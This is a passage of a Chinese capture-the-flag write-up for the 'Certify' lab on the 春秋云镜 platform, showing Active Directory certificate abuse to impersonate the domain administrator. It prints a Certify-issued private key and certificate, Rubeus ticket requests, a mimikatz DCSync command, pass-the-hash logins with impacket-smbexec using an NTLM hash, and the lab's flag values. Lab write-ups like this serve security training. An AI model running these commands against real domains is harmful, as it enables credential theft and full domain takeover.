[*] Subject                 : CN=chenchen, CN=Users, DC=xiaorang, DC=lab
[*] AltName                 : administrator

[*] Certificate Authority   : XIAORANG-DC.xiaorang.lab\xiaorang-XIAORANG-DC-CA

[*] CA Response             : The certificate had been issued.
[*] Request ID              : 7

[*] cert.pem         :

-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEA3kN0eTPGh50iRPTAtAqa0AXFAV7ZOtfJrzLSTJbAJn1jepzL
afI5R9zHV5yt4d31/iHPAxQZ0xMyY1hkn1XoL1CaKNwqjWUb+mQMlLaMsLcuCCy5
0H/NpHXZbiUaZlN1VWW1sJZK+QZFms1IwLY0yS6iUamY9+e4udGO4/L1rroBb9o1
6iKDXIMaqaFnOVPxeVJuxN/Ps5UdLVih+LJYbkWRanLTZKLUJNxSKYWgjkqUYK8f
WzntmP1V4JoWS5OielAz2Jl/V9KZ1wPpuuzjq4IlbprAdjhMIx3wdiiRcA/BziE1
dRdLLpzWzZS1EzOYBru+5bWtviF2v6wH4fnYxwIDAQABAoIBAD8BfDkHdlXnM1m8
0Au5nd0uZYRX8Nh/Z0rk6zyO13WRwet2GyuzYI2AhnnNjnUiyKL7zoUe45s0K+qB
mjSY07Ll9G10zBM9AEtgpTha71MA+mmS1DHIqPDf/3z7w5oSOoa0yGaAlEw3fO+/
FcqbXCdTsuvXWeecpn72ar0vmHmo9Xfmi7pR8tVn5MHid3YUpjL4ado2Ye2EiKfM
BE5XkZh7eD/45BEm6sPMtLdd4N8RFD7gCf2m1bjonDTmCQG0J4xMdLR9sCQUuadP
vClz+7yTkK5Xlhh339MdOkQiFAJJfjXowdguGEv3NNRBlu4j2TR4he9ZVq0AyP/V
ZvqokdECgYEA+LM3ZHyRoBOD0T9d+/Tg9kpmp6ubOj3RvkfdEB2ASPUX9GCmME9I
rhRp3E87o6RXVWlI7sxC9lsTSmmMHWu+2/slEEn4YSaPsb3Lcv1fLCmimZI6h9+3
JMl1FEKSCs/bdYTCnk1vIDqbsyYIylWWqYNWjbYw6UwW3THEqJvIOeUCgYEA5MmW
uX6TGrBHtfmVVbVUzLkmoikOZmPJvAr7XJQtLusC/xM1gBUQIATTBYv7/chiJ5/I
nsXoLMsf2mNtzDtI+fi7uspfdmnbSWIKh4kM/2b8G7HuOqBmFhWZyy22jExK49Ed
OQbAcO0C3VSBCsvLoGCznu3hx792ogi7GbaWbTsCgYAy/aPE0ZmWBYpIU8K0Tw/0
z2pexFuORHCFn/xeOn479yyTKWHJk+fl8T+HMSOcOKzDUVPnyi+MjT3WSu+0dIvs
VIDT5yaq3Jonqi9Vg0eJKXwyGn4vr5nATCHaJpAE8XsgjDjO9jdrlzinMYwp2ASM
+uW7Jni+zJ//eB3HKDGUVQKBgA6E2ILXDIDSFQrwVtDEnCgNy+zYjChlRsUfMUpz
wNZMZblIP8nsDETr6XRdqNU3JTt8gV/KEWzeSxwx2SLv1DbA2TEGbL54A0mJ5j8p
rGB86ZzcUtD3ouLd5g+lzALlSI9ikucujYHdGKRxG2tS+Y4o9N0uHXjuppmr0ivU
kYFHAoGAIRyHk4dAeiMSz1rgo0VvpEZo6fWJRUMFjy1rVrtuTjFi/TBCAZgfmn+E
z/3KxnbwNKBUFxKiKDbA1gCXPkSj5LP5Aq9w9KBTZHNVYI5XoauwQ5jVRCNuUuTg
KMvpXLbqK/h/gEzaYvy1eDA/zjk7R/MlURGDWWBz5vMIihSdq7w=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGQTCCBSmgAwIBAgITfgAAAAe5GpYXCJqu/QAAAAAABzANBgkqhkiG9w0BAQsF
ADBRMRMwEQYKCZImiZPyLGQBGRYDbGFiMRgwFgYKCZImiZPyLGQBGRYIeGlhb3Jh
bmcxIDAeBgNVBAMTF3hpYW9yYW5nLVhJQU9SQU5HLURDLUNBMB4XDTI1MDgxMzEz
MTAyMFoXDTI2MDgxMzEzMTAyMFowUjETMBEGCgmSJomT8ixkARkWA2xhYjEYMBYG
CgmSJomT8ixkARkWCHhpYW9yYW5nMQ4wDAYDVQQDEwVVc2VyczERMA8GA1UEAxMI
Y2hlbmNoZW4wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDeQ3R5M8aH
nSJE9MC0CprQBcUBXtk618mvMtJMlsAmfWN6nMtp8jlH3MdXnK3h3fX+Ic8DFBnT
EzJjWGSfVegvUJoo3CqNZRv6ZAyUtoywty4ILLnQf82kddluJRpmU3VVZbWwlkr5
BkWazUjAtjTJLqJRqZj357i50Y7j8vWuugFv2jXqIoNcgxqpoWc5U/F5Um7E38+z
lR0tWKH4slhuRZFqctNkotQk3FIphaCOSpRgrx9bOe2Y/VXgmhZLk6J6UDPYmX9X
0pnXA+m67OOrgiVumsB2OEwjHfB2KJFwD8HOITV1F0sunNbNlLUTM5gGu77lta2+
IXa/rAfh+djHAgMBAAGjggMPMIIDCzA9BgkrBgEEAYI3FQcEMDAuBiYrBgEEAYI3
FQiB3dAhhYHGIoPFkTqEjedRg9jIBiuBkpQlhInfBwIBZAIBBTApBgNVHSUEIjAg
BgorBgEEAYI3CgMEBggrBgEFBQcDBAYIKwYBBQUHAwIwDgYDVR0PAQH/BAQDAgWg
MDUGCSsGAQQBgjcVCgQoMCYwDAYKKwYBBAGCNwoDBDAKBggrBgEFBQcDBDAKBggr
BgEFBQcDAjBEBgkqhkiG9w0BCQ8ENzA1MA4GCCqGSIb3DQMCAgIAgDAOBggqhkiG
9w0DBAICAIAwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFDHsgoAwhVIi
WnC2WRq/P+Oj+Q88MCgGA1UdEQQhMB+gHQYKKwYBBAGCNxQCA6APDA1hZG1pbmlz
dHJhdG9yMB8GA1UdIwQYMBaAFFe6Z2kqz4ktl3hku7D+cH+iSYCiMIHaBgNVHR8E
gdIwgc8wgcyggcmggcaGgcNsZGFwOi8vL0NOPXhpYW9yYW5nLVhJQU9SQU5HLURD
LUNBLENOPVhJQU9SQU5HLURDLENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2
aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPXhpYW9yYW5nLERD
PWxhYj9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9
Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgcoGCCsGAQUFBwEBBIG9MIG6MIG3BggrBgEF
BQcwAoaBqmxkYXA6Ly8vQ049eGlhb3JhbmctWElBT1JBTkctREMtQ0EsQ049QUlB
LENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZp
Z3VyYXRpb24sREM9eGlhb3JhbmcsREM9bGFiP2NBQ2VydGlmaWNhdGU/YmFzZT9v
YmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MA0GCSqGSIb3DQEBCwUA
A4IBAQBM0LAOa+FS4Ef00Ukikl8F+ROFLMnRGg4Ugwft8Pd7h3wSkcNS/wh2Ulgt
Goy1q01auwe4/LKGDZ1wv/7rfIEonDIZnzwleubBNaq9nMbqa3TRlMe+neX8vk2T
meLm4tmUI3mLZcUywdmi3rgmm8vaMnI2jO6qayZ97oYp11rs7A9xXmgKLfo1cPIN
eq2itdqTpn7Rdjh0ehkQ0exdNCFa1tPS85WLYsmA6f2lFyK+1rvk0OEiALMiTKCi
OjFA6mACPKTtQWR7kDDwKUXU8Rgr9PcaM6A8bPFVS2HZIY+9Hw1JJ/bOu7wgRukL
i+TFiMDvsYnhDsGxa1ScwvXIr/oy
-----END CERTIFICATE-----


[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Certify completed in 00:00:13.0413014

将-----BEGIN RSA PRIVATE KEY----- ... -----END CERTIFICATE-----复制保存为cert.pem

将cert.pem转换为cert.pfx，不需要输入密码

1
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

请求TGT、PTT，密码留空就行（你妹的，试不成功

1
Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt

DcSync攻击，获取到域管的票据后上传mimikatz导出哈希

1
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit

这里没成功，就不继续试了

PTH

依旧pth拿域管，出flag3。参考文章：域渗透基础 - 重庆森林不在重庆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
proxychains4 impacket-smbexec -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.26

C:\Windows\system32>type c:\users\administrator\flag\flag03.txt
                                ___              .-.                
                               (   )      .-.   /    \              
  .--.      .--.    ___ .-.     | |_     ( __)  | .`. ;   ___  ___  
 /    \    /    \  (   )   \   (   __)   (''")  | |(___) (   )(   ) 
|  .-. ;  |  .-. ;  | ' .-. ;   | |       | |   | |_      | |  | |  
|  |(___) |  | | |  |  / (___)  | | ___   | |  (   __)    | |  | |  
|  |      |  |/  |  | |         | |(   )  | |   | |       | '  | |  
|  | ___  |  ' _.'  | |         | | | |   | |   | |       '  `-' |  
|  '(   ) |  .'.-.  | |         | ' | |   | |   | |        `.__. |  
'  `-' |  '  `-' /  | |         ' `-' ;   | |   | |        ___ | |  
 `.__,'    `.__.'  (___)         `.__.   (___) (___)      (   )' |  
                                                           ; `-' '  
                                                            .__.'   

      flag03: flag{02c34eca-3bba-4123-95a8-05edcc4edbac}

flag4同理

1
2
3
4
5
6
7
8
9
10
11
12
proxychains4 impacket-smbexec -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.7

C:\Windows\system32>type c:\users\administrator\flag\flag04.txt
  ______                 _  ___       
 / _____)           _   (_)/ __)      
| /      ____  ____| |_  _| |__ _   _ 
| |     / _  )/ ___)  _)| |  __) | | |
| \____( (/ /| |   | |__| | |  | |_| |
 \______)____)_|    \___)_|_|   \__  |
                               (____/ 

flag04: flag{d48f6f39-a0d5-4598-83e8-bed95d842c7b}
PenTest
#春秋云镜
春秋云镜 Certify
http://example.com/2026/test50/
作者
sangnigege
发布于
2026年4月15日
许可协议